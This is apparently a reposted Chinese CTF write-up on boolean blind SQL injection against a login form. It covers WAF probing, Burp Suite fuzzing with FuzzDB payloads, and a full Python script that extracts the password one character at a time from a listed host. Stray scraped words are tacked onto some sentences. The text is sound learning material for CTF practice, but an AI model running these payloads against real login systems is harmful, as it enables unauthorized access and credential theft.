【CTF】利用 Burpsuite Fuzz 實現 SQL 注入

我也是萌新,講給更萌新的聽~ 大佬能夠略過這篇
今兒從同窗那拿到一題sql注入題,想到最近學習了burpsuite fuzz的功能,恰好能夠用來練下手,特此記錄一下。

0x01 注入前分析

是個典型的登陸框SQL注入題html

圖片描述

在源碼上還有hintpython

圖片描述

首先進行注入前的嘗試,觀察是否有報錯狀況,或者是有waf:mysql

正常的輸入,分2種狀況:git

  1. 用戶名正確,顯示密碼錯誤password error

    圖片描述

  2. 用戶名錯誤,顯示無此用戶no such user!

    圖片描述

猜想驗證用戶名和驗證密碼是分步進行的,語句以下:github

select uname from user where uname='xxx'
select uname,pwd from user where uname='xxx' and pwd='xxx'

存在注入的狀況,顯示naive,證實是有waf的:web

圖片描述

簡單測試了一下waf,發現過濾了or and union select from limit 以及空格,註釋符,媽耶waf還挺嚴,以後不想經過手動測試,因而採用burpsuite進行Fuzz測試。sql

0x02 Burpsuite Fuzzing

Burpsuite Fuzzing主要是經過Burpsuite Intruder模塊,這比如是一把槍,經過特定設置把子彈(payload)射向目標(target-site)數組

但是子彈從哪來?咱們在這以前要作一些準備工做:session

Fuzzdb: https://github.com/fuzzdb-pro...

這是一個fuzz測試的payload庫,上面有大量的測試payload,很是實用,咱們本次sql注入就用到它。多線程

咱們使用這個payload就能夠了 /attack/sql-injection/detect/xplatform.txt

圖片描述

而後打開Burpsuite,能夠先開代理抓一個正常請求包,而後轉到Intruder模塊,進行以下操做:

  1. 選中positions選項卡,選中uname的值部分admin,而後點擊右側的add§,這樣uname的值就會被標記爲payload的加載位置,其他部分就不須要標記了。

    圖片描述

  2. 選中payloads選項卡,點擊圖中所示的按鈕加載剛剛提到的xplatform.txt,這樣payload就被加載進去了。

    圖片描述

  3. 選中options選項卡,設置請求線程數、重試次數、超時時間等等信息,不一一列舉了。

    圖片描述

  4. 最後點擊上方菜單Intruder -> Start attack ,啓動!

等待fuzz完成後,獲得以下結果:

圖片描述

根據返回包長度能夠分辨不一樣的狀況:202是password error,200是no such user!,還有189是naive

所以能夠發現有能夠利用的地方,第42個請求包的返回用戶名正確,證實已經繞過waf。

假如並無能夠利用的payload,能夠再觀察189的包看看哪些字段是被ban掉的,從而找到能夠利用的字段。結合前期手測的狀況和fuzz的結果,能夠判斷:

可以使用:# || && , ascii() left() right() length()

不可以使用:空格 -- or and union select from limit mid() substr() substring()

構造payload以下,xxx爲payload,當xxx爲真時返回password error,而xxx爲假時返回no such user,這就構成了一個bool型注入。

uname='||xxx||'&pwd=123

下一步就能夠開始實施注入。

0x03 Blind Injection的自動化注入

這一步開始,咱們就經過bool盲注進行爆破pwd字段,腳本跑起來

  1. 經過length()得到pwd字段長度

    for i in xrange(1,127):
        postdata = {
            'uname':"'||length(pwd)="+str(i)+"||'",
            'pwd':'123'
        }
        print i,postdata
        r = s.post(url=url,headers=header,data=postdata)
        if 'password' in r.text:
            print "get length!"
            return

    最終得到length(pwd)=30

    當你把握不許的時候,想到hint的提示,經過 length(uname)=5驗證你的payload,下面也同樣。
  2. 因爲mid() substr()被ban了,只能經過left() right()進行字符串截斷,而後逐位爆破30位的pwd

    pwd = ''
    for i in xrange(0,30):
        for c in xrange(0x20,0x7f):
            postdata = {
                'uname':"'||(ascii(right(left(pwd,"+str(i+1)+"),1))="+str(c)+")||'",
                'pwd':'123'
            }
            r = s.post(url=url,headers=header,data=postdata)
            if 'password' in r.text:
                pwd += chr(c)
                print i,pwd
                continue

    圖片描述

    最後獲得30位密碼,登陸進去,getflag

    PS:沒有寫多線程,爆破速度比較慢,以後考慮改進一下

    PPS:以後還要總結下各種函數組合使用方式,好比mid()=substr()=right(left())

    完整腳本以下:

    #coding=utf-8
    import requests 
    
    s = requests.session()
    s.keep_alive = False
    
    url = 'http://23.236.125.55:1000/34fb69d7b4467e33c71b0153e62f7e2b/'
    
    header = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding': 'gzip, deflate',
    'Referer': 'http://23.236.125.55:1000/34fb69d7b4467e33c71b0153e62f7e2b/',
    'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    def get_length():
        for i in xrange(1,127):
            postdata = {
                'uname':"'||length(pwd)="+str(i)+"||'",
                'pwd':'123'
            }
            print i,postdata
            r = s.post(url=url,headers=header,data=postdata)
            if 'password' in r.text:
                print "get length!"
                return 
    
    def get_pwd_char():
        pwd = ''
        for i in xrange(0,30):
            for c in xrange(0x20,0x7f):
                postdata = {
                    'uname':"'||(ascii(right(left(pwd,"+str(i+1)+"),1))="+str(c)+")||'",
                    'pwd':'123'
                }
                r = s.post(url=url,headers=header,data=postdata)
                if 'password' in r.text:
                    pwd += chr(c)
                    print i,pwd
                    continue
    
    if __name__ == '__main__':
        get_length() #length is 30
        get_pwd_char()

0x04 總結一下

  • 利用burpsuite進行fuzz測試,大大提升了測試效率,也能快速定位注入點,這方面在平時的賽題也比較實用,關鍵就在於找到好用的fuzz payload。
  • 靈活使用各種sql函數,找到沒有被ban的函數進行構造從而實現爆破,若是遇到其餘類型waf還要進行改寫。
聽說bugkuCTF有相似的一道題 SQL注入2,過去比較一下區別
相關文章
相關標籤/搜索